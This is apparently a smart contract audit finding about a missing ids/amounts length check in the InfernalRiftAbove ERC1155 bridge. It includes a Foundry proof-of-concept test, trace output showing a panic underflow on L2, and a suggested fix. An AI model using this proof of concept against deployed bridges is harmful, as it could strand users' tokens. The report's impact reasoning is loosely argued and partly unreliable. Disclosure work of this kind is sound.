Tiny Clay Ape

High

# Lack of check the `ids.length == amounts` leads to panic error `0x11` UnderFlow or overFlow Error.

### Summary

`crossTheThreshold1155()` function in InfernalRiftAbove.sol is used to sends the ERC1155 from L1 to L2 and the `ThresholdCrossParams` struct will be passed as the arguments 
```solidity
    struct ThresholdCrossParams {
        address[] collectionAddresses;
        uint[][] idsToCross; // @audit check here
        uint[][] amountsToCross; // @audit check here
        address recipient;
        uint64 gasLimit;
    }
```
In above struct, array of idsToCross and  amountsToCross are corresponding to each other.

In below function we can see that without check it fills the Package struct it checks for the tokenAmount whether it has zero or not but as per ERC1155 doc ids should be checked 
```solidity
  // Go through each collection, set values if needed
        for (uint i; i < numCollections; ++i) {
            // Cache values needed
            numIds = params.idsToCross[i].length;

           
            collectionAddress = params.collectionAddresses[i];

            erc1155 = IERC1155MetadataURI(collectionAddress);

            // Go through each NFT, set its URI and escrow it
            uris = new string[](numIds);
            for (uint j; j < numIds; ++j) {
                // Ensure we have a valid amount passed (TODO: Is this needed?)
                tokenAmount = params.amountsToCross[i][j];
                if (tokenAmount == 0) {
                    revert InvalidERC1155Amount();
                }

                uris[j] = erc1155.uri(params.idsToCross[i][j]);
                erc1155.safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], params.amountsToCross[i][j], '');
            }

            // Set up payload
            package[i] = Package({
                chainId: block.chainid,
                collectionAddress: collectionAddress,
                ids: params.idsToCross[i],
                amounts: params.amountsToCross[i],
                uris: uris,
                royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
                name: '',
                symbol: ''
            });
        }
```
https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L95C7-L121C1

Here where the Panic error occurs in InfernalRiftBelow.sol in retrunFromThreshold
```solidity

            for (uint j; j < numIds; ++j) {
                amountToCross = params.amountsToCross[i][j];
                if (amountToCross == 0) {
                    IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
                } else {
                    IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
                }
            }
```

And in the doc of ERC-1155 also mentioned the transaction should be failed if ids not equal to values.
https://ethereum.org/en/developers/docs/standards/tokens/erc-1155/#safe-transfer-rule

### Root Cause

Lack of check of the ids and amounts length in the `crossTheThreshold1155()` function leads to panic error.

### Internal pre-conditions

When user try to send a large transaction from L1 to L2 and again return from L2 to L1, there may be a chance of a mismatch in the token IDs or amounts. To prevent DOS attacks or loss of funds, this should be verified on L1. But here result in a panic error on L2 chains.

### External pre-conditions

If user try to send and return ERC 1155 tokens in same transaction the bridge may get DOS.

### Attack Path

1. User can send the tokens wise in batch L1 to L2 and L2 to L1 in same transction.
2. If the length of the AmountsToCross and IdsToCross is not equal then the amounts other than mis match ids will get stuck because of the Bridge Panic error.

### Impact

1 . Loss of Funds 
2 . Dos of Bridge

### PoC

```solidity
/* solhint-disable var-name-mixedcase */
/* solhint-disable func-param-name-mixedcase */
/* solhint-disable no-unused-vars */
/* solhint-disable func-name-mixedcase */

pragma solidity ^0.8.26;

import 'forge-std/Test.sol';

import {ERC1155Receiver} from '@openzeppelin/token/ERC1155/utils/ERC1155Receiver.sol';

import {Test20} from './mocks/Test20.sol';
import {Test721} from './mocks/Test721.sol';
import {Test1155} from './mocks/Test1155.sol';
import {Test721NoRoyalty} from './mocks/Test721NoRoyalty.sol';
import {MockPortalAndCrossDomainMessenger} from './mocks/MockPortalAndCrossDomainMessenger.sol';
import {MockRoyaltyRegistry} from './mocks/MockRoyaltyRegistry.sol';
import {ERC721Bridgable} from '../src/libs/ERC721Bridgable.sol';
import {ERC1155Bridgable} from '../src/libs/ERC1155Bridgable.sol';

import {InfernalRiftAbove} from '../src/InfernalRiftAbove.sol';
import {InfernalRiftBelow} from '../src/InfernalRiftBelow.sol';
import {IInfernalRiftAbove} from '../src/interfaces/IInfernalRiftAbove.sol';
import {IInfernalPackage} from '../src/interfaces/IInfernalPackage.sol';


contract RiftTest2 is ERC1155Receiver, Test {

    address constant ALICE = address(123456);

    Test721 l1NFT;
    Test1155 l1NFT1155;
    MockPortalAndCrossDomainMessenger mockPortalAndMessenger;
    MockRoyaltyRegistry mockRoyaltyRegistry;
    ERC721Bridgable erc721Template;
    ERC1155Bridgable erc1155Template;
    InfernalRiftAbove riftAbove;
    InfernalRiftBelow riftBelow;
    Test20 USDC;

    event BridgeStarted(address _destination, IInfernalPackage.Package[] package, address _recipient);

    function setUp() public {

        /**
          - Deploy rift above
          - Deploy rift below
          - Deploy ERC721Brigable template and set with rift below
          - Set rift below to use ERC721Bridgable
          - Set rift above to use rift below
          - Everything now immutable
         */

        USDC = new Test20('USDC', 'USDC', 18);
        l1NFT = new Test721();
        l1NFT1155 = new Test1155('https://address.com/token/');
        mockPortalAndMessenger = new MockPortalAndCrossDomainMessenger();
        mockRoyaltyRegistry = new MockRoyaltyRegistry();
        riftAbove = new InfernalRiftAbove(
            address(mockPortalAndMessenger),
            address(mockPortalAndMessenger),
            address(mockRoyaltyRegistry)
        );
        riftBelow = new InfernalRiftBelow(
            address(mockPortalAndMessenger), // pretend the portal *is* the relayer
            address(mockPortalAndMessenger),
            address(riftAbove)
        );
        erc721Template = new ERC721Bridgable('Test', 'T721', address(riftBelow));
        erc1155Template = new ERC1155Bridgable(address(riftBelow));
        riftBelow.initializeERC721Bridgable(address(erc721Template));
        riftBelow.initializeERC1155Bridgable(address(erc1155Template));
        riftAbove.setInfernalRiftBelow(address(riftBelow));
    }

    function test_Length() public {
        // Mint a range of ERC1155 to our user
        l1NFT1155.mint(address(this), 0, 5);
        l1NFT1155.mint(address(this), 1, 5);
        l1NFT1155.mint(address(this), 2, 5);

        // Approve all to be used
        l1NFT1155.setApprovalForAll(address(riftAbove), true);

        // Set our collection
        address[] memory collections = new address[](1);
        collections[0] = address(l1NFT1155);

        // Set our IDs
        uint[][] memory idList = new uint[][](1);
        uint[] memory ids = new uint[](2);// @audit check here
        ids[0] = 0;
        ids[1] = 1;
        //ids[2] = 2; @audit changed here
        idList[0] = ids;

        // Set our amounts
        uint[][] memory amountList = new uint[][](2);
        uint[] memory amounts = new uint[](3); // @audit check here
        amounts[0] = 4; amounts[1] = 5; amounts[2] = 1;

        amountList[0] = amounts;

        // Set our domain messenger
        mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));

        // Cross the threshold!
        riftAbove.crossTheThreshold1155(
            _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
        );

        // Get our 'L2' address
        Test1155 l2NFT1155 = Test1155(riftBelow.l2AddressForL1Collection(address(l1NFT1155), true));


        // Set up our return threshold parameters
        address[] memory collectionAddresses = new address[](1);
        collectionAddresses[0] = address(l2NFT1155);

        // Set up our tokenIds
        uint[][] memory tokenIds = new uint[][](1);
        tokenIds[0] = new uint[](2);
        tokenIds[0][0] = 0;
        tokenIds[0][1] = 2;

        // Set up our amounts
        uint[][] memory tokenAmounts = new uint[][](1);
        tokenAmounts[0] = new uint[](2);
        tokenAmounts[0][0] = 3;
        tokenAmounts[0][1] = 1;

        // Approve the tokenIds on L2
        l2NFT1155.setApprovalForAll(address(riftBelow), true);

        // Set our domain messenger
        mockPortalAndMessenger.setXDomainMessenger(address(riftBelow));

        // Return the NFT
        riftBelow.returnFromThreshold(
            _buildCrossThreshold1155Params(collectionAddresses, tokenIds, tokenAmounts, address(this), 0)
        );

        

        // Bridge back with some of the prevously processed tokens to confirm
        // that we use internal tokens before minting more.
        idList = new uint[][](1);
        ids = new uint[](2);
        ids[0] = 0; ids[1] = 2;
        idList[0] = ids;

        // Set our amounts
        amountList = new uint[][](1);
        amounts = new uint[](2);
        amounts[0] = 2; amounts[1] = 4; 
        amountList[0] = amounts;

        // Set our domain messenger
        mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));

        // Cross the threshold!
        riftAbove.crossTheThreshold1155(
            _buildCrossThreshold1155Params(collections, idList, amountList, address(this), 0)
        );

        
    }

    function _buildCrossThresholdParams(
        address[] memory collectionAddresses,
        uint[][] memory idsToCross,
        address recipient,
        uint64 gasLimit
    ) internal pure returns (
        IInfernalRiftAbove.ThresholdCrossParams memory params_
    ) {
        uint[][] memory amountsToCross = new uint[][](collectionAddresses.length);
        for (uint i; i < collectionAddresses.length; ++i) {
            amountsToCross[i] = new uint[](idsToCross[i].length);
        }

        params_ = IInfernalRiftAbove.ThresholdCrossParams(
            collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
        );
    }

    function _buildCrossThreshold1155Params(
        address[] memory collectionAddresses,
        uint[][] memory idsToCross,
        uint[][] memory amountsToCross,
        address recipient,
        uint64 gasLimit
    ) internal pure returns (
        IInfernalRiftAbove.ThresholdCrossParams memory params_
    ) {
        params_ = IInfernalRiftAbove.ThresholdCrossParams(
            collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
        );
    }

    function onERC1155Received(address, address, uint, uint, bytes memory) public pure override returns (bytes4) {
        return this.onERC1155Received.selector;
    }

    /**
     * @dev See {IERC1155Receiver-onERC1155BatchReceived}.
     */
    function onERC1155BatchReceived(address, address, uint[] memory, uint[] memory, bytes memory) public pure override returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }

}

```

### Mitigation

Add below check in the InfernalRiftAbove.sol crossTheThreshold1155() function
```solidity
            if(numIds != params.amountsToCross[i].length) revert("something is wrong");
```

Output 

1 without above check panic error at InfernalRiftBelow

```solidity
    │   │   └─ ← [Return] 
    │   ├─ [3717] 0x094bb35C5C8E23F2A873541aDb8c5e464C29c668::safeTransferFrom(RiftTest2: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], InfernalRiftBelow: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 2, 1, 0x)
    │   │   ├─ [3513] ERC1155Bridgable::safeTransferFrom(RiftTest2: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], InfernalRiftBelow: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 2, 1, 0x) [delegatecall]
    │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.58ms (959.58µs CPU time)

Ran 1 test suite in 2.43s (5.58ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/TestLength.t.sol:RiftTest2
[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] test_Length() (gas: 614121)
```


2. With above check reverted at InfernalRiftAbove only means L1
```solidity
    ├─ [4381] InfernalRiftAbove::crossTheThreshold1155(ThresholdCrossParams({ collectionAddresses: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], idsToCross: [[0, 1]], amountsToCross: [[4, 5, 1]], recipient: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, gasLimit: 0 }))
    │   └─ ← [Revert] revert: something is wrong
    └─ ← [Revert] revert: something is wrong

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.18ms (679.50µs CPU time)

Ran 1 test suite in 1.17s (5.18ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/TestLength.t.sol:RiftTest2
[FAIL. Reason: revert: something is wrong] test_Length() (gas: 155212)
```

Implement the above check in below functions which are also affected.

InfernalRiftAbove.sol
returnFromTheThreshold()
crossTheThreshold1155()
crossTheThreshold()

InfernalRiftBelow.sol
thresholdCross()
returnFromThreshold()
